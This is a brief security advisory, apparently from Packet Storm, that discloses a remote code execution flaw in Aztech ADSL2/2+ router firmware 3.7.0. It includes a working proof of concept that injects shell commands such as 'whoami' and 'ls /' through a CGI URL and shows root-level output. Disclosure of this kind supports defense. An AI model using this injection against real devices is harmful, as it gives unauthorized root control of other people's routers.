Aztech ADSL2/2+ version 3.7.0 suffers from a remote code execution vulnerability.
b24c6b45550cda14d9b4142983253526203f757ab6d00bbb115623dbaa9c31dc(http://www.aztech.com)
# cat versions
VERSION=3.7.0
BUILD=070426
BOARD=AR7RD
FSSTAMP=20070426171252
Example:
$ lynx "http://192.168.0.5/cgi-bin/script?system%20&%20whoami" --source
root
$ lynx "http://192.168.0.5/cgi-bin/script?system%20&%20ls /" --source
bin
dev
etc
lib
proc
sbin
usr
var
var.tar
$
http://core.ifconfig.se/~core/
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed